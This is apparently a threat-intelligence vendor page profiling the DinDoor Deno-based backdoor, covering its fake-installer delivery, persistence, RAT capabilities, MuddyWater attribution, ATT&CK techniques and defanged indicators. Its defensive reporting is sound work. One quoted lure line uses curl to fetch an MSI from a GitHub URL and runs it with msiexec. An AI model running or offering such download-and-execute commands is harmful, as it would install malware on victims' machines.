Skip to main content
Mallory
MalwareRansomwareUsed by 4 actors

Dindoor

DinDoor is a Deno-based backdoor malware family, commonly styled as DinDoor, that executes JavaScript/TypeScript through the legitimate Deno runtime to reduce suspicion and evade some traditional detections. Multiple reports describe it as a previously unknown backdoor and a variant of the Tsundere botnet. It has been publicly linked to the Iranian threat actor MuddyWater/Seedworm, which is associated with Iran’s Ministry of Intelligence and Security (MOIS), although some reporting notes that parts of this attribution require independent verification.

Observed delivery includes fake installers and plugins impersonating popular software such as ChatGPT, Claude, AutoTune, Kontakt, Ableton Live, ZENOLOGY, GearUP, and BWR on GitHub and SourceForge, often promoted through compromised YouTube channels with AI-generated videos. Other reporting states DinDoor is delivered via phishing emails, malicious drive-by downloads, and MSI installer files. In the fake-installer campaigns, victims were instructed to paste terminal or cmd commands that downloaded MSI or PowerShell components. The infection chain then used Scoop and WinGet to install Deno, after which DinDoor fetched and executed remote JavaScript payloads from attacker-controlled infrastructure.

Behaviorally, DinDoor establishes persistence on Windows, including via a Registry Run key, fingerprints infected hosts, communicates with command-and-control infrastructure, and retrieves additional payloads. Reported execution chains include MSI files that drop CMD, VBScript, JavaScript, or PowerShell launchers; one sample displayed a fake error dialog while running the payload in the background, and another executed JavaScript entirely in memory via a data URI passed to deno.exe. DinDoor has been observed using an eval loop to repeatedly fetch subsequent stages, obtaining an ID from endpoints such as /security-pool and then requesting follow-on code such as /v2{ID}.js. It also binds a localhost TCP listener as a mutex and generates a victim identifier from system attributes including username, hostname, memory, and OS release.

DinDoor functions as a loader/backdoor for a fully capable Deno-based RAT. Reported follow-on capabilities include arbitrary command and PowerShell execution, system information collection, file and process management, screenshot capture, clipboard monitoring, SOCKS5 proxying, custom VNC-style remote desktop control, browser and cryptocurrency wallet theft, and exfiltration from applications such as Telegram, Discord, and Lightcord. A notable capability abuses Microsoft Edge, Chrome DevTools Protocol, and WebRTC to stream a victim’s screen over peer-to-peer connections. Some reporting also mentions a lighter variant called agent-lite using Cloudflare Workers for C2 anonymity, and one follow-on RAT has been referred to as Smokest based on configuration values.

Victimology in the provided content spans both broad criminal-style distribution and targeted intrusions. Malwarebytes-associated reporting describes targeting of creators, gamers, AI enthusiasts, and technically inclined users who download unofficial software. Separate reporting ties DinDoor to intrusions affecting a U.S. bank, a U.S. airport, a U.S. software supplier to the defense and aerospace sector with Israeli operations, and NGOs/non-profits in the U.S. and Canada. Sectors explicitly mentioned include financial services, transportation/airports, defense and aerospace supply chain, and non-profit organizations.

High-confidence indicators and artifacts mentioned in the content include use of the Deno runtime; MSI-delivered samples such as Installer_v1.21.66.msi and migcredit.pdf.msi; code-signing certificates issued to Amy Cherne, with some related reporting also referencing Donald Gay in overlapping Seedworm tooling; C2 or distribution infrastructure including serialmenot[.]com, claudescript[.]top, ms-telemetry-gateway-us[.]com, dakatawebstick[.]com, ashpaltlonpro[.]com, agilemast3r[.]duckdns[.]org, geralnewlong[.]com, hngfbgfbfb[.]cyou, logicalnewrestore[.]com, cf-proxy[.]cloud-analytics-services[.]workers.dev, and IPs 23[.]227[.]196[.]107, 45[.]137[.]99[.]121, 31[.]57[.]129[.]23, 66[.]78[.]40[.]107, and 193[.]233[.]198[.]132. Additional reported traits include localhost binds on ports 10044 or 10091, HTTP /health checks, and Deno command lines using data:application/javascript;base64.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
MuddyWater

Два бэкдора, атрибуция которых требует независимой верификации: Dindoor [требует верификации] - по данным Broadcom, использует Deno runtime (JavaScript/TypeScript) для исполнения.

via codebycodeby.net
GrayBravo

DinDoor, tracked as a variant of the Tsundere Botnet, follows this model. Delivered primarily via MSI files and relying on the Deno runtime for execution, the malware runs obfuscated JavaScript to communicate with its command and control (C2) infrastructure, while fingerprinting victims and fetching follow-on payloads.

via huntio bloghunt.io
Temp Zagros

The group deployed two malware, a newly discovered backdoor called Dindoor and a Python-based tool called Fakeset, across multiple victim environments.

via fieldeffect blogfieldeffect.com
Temp Zagros

The group deployed two malware, a newly discovered backdoor called Dindoor and a Python-based tool called Fakeset, across multiple victim environments.

via fieldeffect blogfieldeffect.com
MITRE ATT&CK

Techniques & procedures

24 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1189Drive-by CompromiseEvidence1

The infection begins when a user visits a malicious GitHub or SourceForge repository and copies a command into their terminal, believing they are installing legitimate software.

T1566.002Spearphishing LinkEvidence3

Compromised YouTube channels push victims toward the malicious repositories.

Execution

6 techniques
T1059Command and Scripting InterpreterEvidence2
TacticExecution

In these intrusions, the group used a previously unseen backdoor called DinDoor, which is a new variant of the MuddyWater-linked Tsundere botnet, according to Check Point.

T1059.001PowerShellEvidence3
TacticExecution

The MSI file then drops a CMD file and a PowerShell script onto the victim’s machine. The PowerShell script installs the Deno JavaScript runtime using standard Windows package managers called Scoop and WinGet...

T1059.003Windows Command ShellEvidence2
TacticExecution

The MSI file then drops a CMD file and a PowerShell script onto the victim’s machine.

T1059.007JavaScriptEvidence3
TacticExecution

The downloads deliver a backdoor called DinDoor, which then loads a remote access Trojan built on the Deno JavaScript runtime... Deno is then used to fetch and run the DinDoor backdoor directly from a remote server.

T1204User ExecutionEvidence3
TacticExecution

The malicious repositories ask visitors to open a terminal and paste a command that downloads an MSI installer or a PowerShell script from GitHub. Both Windows and macOS commands are offered.

T1204.002Malicious FileEvidence1
TacticExecution

The infection chain is usually started via MSI files or PowerShell scripts downloaded from GitHub or SourceForge in most of the analyzed cases.

Persistence

1 technique
T1547.001Registry Run Keys / Startup FolderEvidence2

DinDoor then establishes persistence by creating a Windows registry run key, ensuring the malware restarts every time the machine boots up.

T1547.001Registry Run Keys / Startup FolderEvidence2

DinDoor then establishes persistence by creating a Windows registry run key, ensuring the malware restarts every time the machine boots up.

Stealth

4 techniques
T1036MasqueradingEvidence3
TacticStealth

A new malware campaign is targeting content creators, gamers, and AI enthusiasts by disguising itself as popular software tools like ChatGPT and Claude... The malware impersonates well-known software brands including ChatGPT, Claude, Ableton Live, AutoTune, and Kontakt...

T1218.007MsiexecEvidence1
TacticStealth

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi

T1564.003Hidden WindowEvidence1
TacticStealth

-WindowStyle Hidden ... conhost.exe --headless

T1620Reflective Code LoadingEvidence3
TacticStealth

with the next stage executed in memory through standard input so it never touches disk.

T1555.003Credentials from Web BrowsersEvidence1

Collect data from browsers including Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi...

Discovery

1 technique
T1082System Information DiscoveryEvidence1
TacticDiscovery

DinDoor sets up persistence through a registry Run key, reports system details to a command-and-control server

Collection

4 techniques
T1005Data from Local SystemEvidence2

This RAT can steal data from browsers and crypto wallets... It targets over 50 crypto wallet browser extensions and software wallets including Atomic Wallet, Exodus, and Electrum...

T1113Screen CaptureEvidence2

This RAT can steal data from browsers and crypto wallets, capture screenshots...

T1115Clipboard DataEvidence2

This RAT can steal data from browsers and crypto wallets, capture screenshots, record clipboard activity...

T1125Video CaptureEvidence1

One of its most unusual features is a peer-to-peer video streaming mode that hijacks the Microsoft Edge browser... uses that page to stream live video of the victim’s screen directly to the attacker...

T1071Application Layer ProtocolEvidence3

DinDoor acts as a backdoor that connects to a command-and-control server... The backdoor quietly communicates with the C2 server, pulling down additional payloads and sending back information about the compromised system.

T1071.001Web ProtocolsEvidence2

The backdoor handles persistence, sends information about the compromised system to the command-and-control server (C2)... The RAT uses the following endpoints for C2 communication... /health ... /token

T1090ProxyEvidence2

The RAT also supports SOCKS5 proxy tunnels...

T1105Ingress Tool TransferEvidence4

Once Deno is in place, it fetches and runs the DinDoor backdoor directly from the attacker’s server.

T1219Remote Access ToolsEvidence2

The RAT also supports ... full remote desktop control via a custom VNC setup...

INDICATORS OF COMPROMISE

IOCs tracked for this family

68 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
52 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
13 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
3 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
ip.v4●●●●●●●●●●●●View more in apptoday
ip.v4●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in app9 days ago
domain●●●●●●●●●●●●View more in app9 days ago
domain●●●●●●●●●●●●View more in app9 days ago
domain●●●●●●●●●●●●View more in app9 days ago
ACTIVITY FEED

Recent activity

39 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching68

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution4

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping24

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.